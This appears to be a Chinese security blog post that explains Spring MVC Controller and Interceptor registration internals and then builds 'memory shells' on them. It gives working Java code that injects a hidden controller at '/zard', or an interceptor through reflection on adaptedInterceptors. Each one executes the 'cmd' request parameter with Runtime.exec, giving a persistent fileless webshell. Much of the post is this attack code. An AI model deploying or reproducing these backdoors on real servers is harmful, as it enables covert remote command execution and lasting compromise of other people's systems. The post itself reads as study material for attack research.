Spring Memory Shell
前言
前面学了Tomcat的Servlet和Filter内存马, 然后学了几天的spring,审了一个程序,就继续顺便把内存马的东西弄完吧。前面说到Servlet和Filter内存马其实都是在配置文件中注册一个Servlet或者Filter,因为他们的生命周期是到服务器结束才结束。其实Spring的controller的内存马也是如此,也是注册一个Controller来实现。因此我们需要了解SpringMVC中Controller注册的流程。
Controller注册流程
SpringMVC初始化时,在bean的构造方法以及设置属性之后会使用InitializingBean#afterPropertiesSet进行Bean的初始化操作,实现类 RequestMappingHandlerMapping 用来处理具有 @Controller
注解类中的方法级别的 @RequestMapping
以及 RequestMappingInfo 实例的创建,AbstractHandlerMapping是RequestMappingHandlerMapping的父类,并且AbstractHandlerMapping实现了InitializingBean接口,所以先来看一下RequestMappingHandlerMapping#afterPropertiesSet
public void afterPropertiesSet() {
this.config = new RequestMappingInfo.BuilderConfiguration();
this.config.setUrlPathHelper(getUrlPathHelper());
this.config.setPathMatcher(getPathMatcher());
this.config.setSuffixPatternMatch(this.useSuffixPatternMatch);
this.config.setTrailingSlashMatch(this.useTrailingSlashMatch);
this.config.setRegisteredSuffixPatternMatch(this.useRegisteredSuffixPatternMatch);
this.config.setContentNegotiationManager(getContentNegotiationManager());
super.afterPropertiesSet();
}
首先初始化了了一个config对象给自身的config属性,并且设置对应的值,然后调用的父类的afterPropertiesSet方法,也就是AbstractHandlerMapping#afterPropertiesSet

AbstractHandlerMapping#afterPropertiesSet调用了initHandlerMethods方法,循环遍历Spring 中注册的 Bean并且使用processCandidateBean方法进行处理
protected void processCandidateBean(String beanName) {
Class<?> beanType = null;
try {
beanType = obtainApplicationContext().getType(beanName);
}
catch (Throwable ex) {
// An unresolvable bean type, probably from a lazy bean - let's ignore it.
if (logger.isTraceEnabled()) {
logger.trace("Could not resolve type for bean '" + beanName + "'", ex);
}
}
if (beanType != null && isHandler(beanType)) {
detectHandlerMethods(beanName);
}
}
processCandidateBean方法,判断了beanType不为空并且是Handler,就调用detectHandlerMethods方法,这里的isHandler就是判断beanType是否有RequestMapping和Controller的注解

首先通过反射获取当前Controller Bean的对象,并且获取当前bean的所有Handler Method,根据method定义是否带有RequestMapping注解,如果有,根据注解创建RequestMappinginfo对象
protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = (handler instanceof String ?
obtainApplicationContext().getType((String) handler) : handler.getClass());
if (handlerType != null) {
Class<?> userType = ClassUtils.getUserClass(handlerType);
Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
(MethodIntrospector.MetadataLookup<T>) method -> {
try {
return getMappingForMethod(method, userType);
}
catch (Throwable ex) {
throw new IllegalStateException("Invalid mapping on handler class [" +
userType.getName() + "]: " + method, ex);
}
});
if (logger.isTraceEnabled()) {
logger.trace(formatMappings(userType, methods));
}
methods.forEach((method, mapping) -> {
Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
registerHandlerMethod(handler, invocableMethod, mapping);
});
}
}
return getMappingForMethod(method, userType);
创建了RequestMappinginfo对象,methods.forEach((method, mapping)
处循环遍历method,并且通过registerHandlerMethod把handler method与对应的RequestMappingInfo 创建映射
protected void registerHandlerMethod(Object handler, Method method, T mapping) {
this.mappingRegistry.register(mapping, handler, method);
}
registerHandlerMethod调用mappingRegistry.register方法
public void register(T mapping, Object handler, Method method) {
this.readWriteLock.writeLock().lock();
try {
HandlerMethod handlerMethod = createHandlerMethod(handler, method);
assertUniqueMethodMapping(handlerMethod, mapping);
this.mappingLookup.put(mapping, handlerMethod);
List<String> directUrls = getDirectUrls(mapping);
for (String url : directUrls) {
this.urlLookup.add(url, mapping);
}
String name = null;
if (getNamingStrategy() != null) {
name = getNamingStrategy().getName(handlerMethod, mapping);
addMappingName(name, handlerMethod);
}
CorsConfiguration corsConfig = initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
this.corsLookup.put(handlerMethod, corsConfig);
}
this.registry.put(mapping, new MappingRegistration<>(mapping, handlerMethod, directUrls, name));
}
finally {
this.readWriteLock.writeLock().unlock();
}
}
把关键信息存储到自身的mappingLookup,urlLookup,corsLookup,registry属性下
Controller内存马编写
编写内存马的步骤如下
- 利用spring内部方法获取context
- 获得 RequestMappingHandlerMapping 的实例
- 通过反射获得自定义Controller的恶意方法的Method对象
- 定义对应的URL地址
- 定义访问的方法
- 动态注册Controller
结果如下
package com.ch1e.controller;
import jdk.internal.util.xml.impl.Input;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
@Controller
public class ch1e {
@ResponseBody
@RequestMapping(value = "/ch1e",method = RequestMethod.GET)
public void ch1e() throws Exception{
//获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
//获取恶意类的恶意方法
Method injectMethod =zard.class.getMethod("inject");
//定义访问恶意Controller的url
PatternsRequestCondition url = new PatternsRequestCondition("/zard");
//定义允许访问恶意controller的HTTP请求方法(GET/POST)
RequestMethodsRequestCondition ms=new RequestMethodsRequestCondition();
//动态注册Controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
zard zardController = new zard();
mappingHandlerMapping.registerMapping(info, zardController, injectMethod);
}
//恶意类
@ResponseBody
public class zard{
public zard(){}
public String inject() throws Exception{
//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream inputStream=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader inputStreamReader=new InputStreamReader(inputStream, "UTF-8");
BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
String str="";
String line = "";
while ((line=bufferedReader.readLine())!=null){
str=str+line;
}
inputStream.close();
bufferedReader.close();
return str;
}
}
}
Interceptor
在Spring MVC中Interceptor用来拦截客户请求,进行处理来实现某些功能

在Web应用开发时,需要继承Spring MVC的HandlerInterceptorAdapter抽象类,实现父类的抽象方法preHandler(),postHandler(),afterCompletion(),在一个web应用中可以实现多个Interceptor,组成一个拦截器链,其中方法的执行顺序如下所示

在配置文件中进行如下配置
<mvc:interceptor>
<mvc:mapping path="/**"/>
<mvc:exclude-mapping path="/login"/>
<bean class="com.ch1e.ch1eInterceptor" />
</mvc:interceptor>
Interceptor的注册流程
首先我们先来随便写个Interceptor试试看
TestInterceptor.java
import org.aopalliance.intercept.Interceptor;
import org.springframework.lang.Nullable;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler,
@Nullable ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler,
@Nullable Exception ex) throws Exception {
}
}
并且在配置文件中注册这个Interceptor
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/home/index"/>
<bean class="TestInterceptor"/>
</mvc:interceptor>
</mvc:interceptors>
启动我们的Tomcat服务器,访问即可成功命令执行

接下来具体分析一下Interceptor的注册流程,先在TestInterceptor中打个断点,开启调试,具体调用栈如下
preHandle:13, TestInterceptor
applyPreHandle:136, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1034, DispatcherServlet (org.springframework.web.servlet)
doService:942, DispatcherServlet (org.springframework.web.servlet)
processRequest:1005, FrameworkServlet (org.springframework.web.servlet)
doGet:897, FrameworkServlet (org.springframework.web.servlet)
service:635, HttpServlet (javax.servlet.http)
service:882, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:650, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:800, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:806, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
首先是在HandlerExecutionChain#applyPreHandler调用的TestInterceptor#preHandler,先通过getInterceptors获取到了所有的Interceptor,然后对他进行遍历,调用interceptor.preHandle方法
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
HandlerInterceptor[] interceptors = getInterceptors();
if (!ObjectUtils.isEmpty(interceptors)) {
for (int i = 0; i < interceptors.length; i++) {
HandlerInterceptor interceptor = interceptors[i];
if (!interceptor.preHandle(request, response, this.handler)) {
triggerAfterCompletion(request, response, null);
return false;
}
this.interceptorIndex = i;
}
}
return true;
}
继续往上找,在DispatcherServlet#doDispatch中调用了HandlerExecutionChain#applyPreHandler,通过mappedHandler = getHandler(processedRequest);
获取到了一个HandlerExecutionChain对象

然后在最后调用mappedHandler#applyPreHandle,现在我们弄清楚了他具体怎么调用,但是我们如果要动态注册Interceptor的话还需要知道他是从哪里被添加进来,我们可以看到在interceptors中有我们手动添加的TestInterceptor对象,而interceptors是通过getHandler方法进行获取的,所以这里进到getHandler方法看看

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
遍历this.handlerMappings,获取HandlerMapping的实例,再调用getHandler方法,继续跟进getHandler方法,这里的话是调用的mapping的getHandler方法,mapping又是this.handlerMappings中的元素
这里实际上是调用实际上调用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法

跟进getHandlerExecutionChain方法

遍历了this.adaptedInterceptors,并判断nterceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回,所以我们需要动态注册Interceptor只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors添加恶意interceptor实例
Interceptor具体实现
这里我也是参考了别的师傅的文章,但是每个师傅的马好像到我这都没法用,所以我这里改了一下别的师傅们的内存马,总体来说分下面几步
- 获取WebApplicationContext
- 从WebApplicationContext获取AbstractHandlerMapping 实例
- 反射获取adaptedInterceptors ,注册拦截器
inject.java
package com.ch1e;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@RestController
public class inject {
@GetMapping("/inject")
public void inject(){
try{
//获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从WebApplicationContext获取AbstractHandlerMapping 实例
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors ,注册拦截器
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
//实例化恶意的拦截器
TestInterceptor m = new TestInterceptor();
// 创建MappedInterceptor
String[] path = new String[]{"/Test"};
MappedInterceptor mi = new MappedInterceptor(path,null,m);
adaptedInterceptors.add(mi);
}catch(Exception e){
e.printStackTrace();
}
}
}
TestInterceptor.java
package com.ch1e;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@ResponseBody
public class TestController {
@RequestMapping("/Test")
public String Test(){
return "hello Ch1e";
}
}
成功
踩坑
别的师傅的内存马是使用如下方法来获取WebApplicationContext和AbstractHandlerMapping,但是我弄了一晚上,发现在我这并不行,所以我换成了我现在的这个。会提示找不到requestMappingHandlerMapping这个bean
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
// 从context中获得 AbstractHandlerMapping 的实例
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
总结
这次Controller内存马的文章前面的分析过程参考了su18师傅,Interceptor的内存马是参照好几个师傅的马写出来的,总体来说还是有一些地方暂时没有理解,后续可能会继续往这里进行补充,会二刷内存马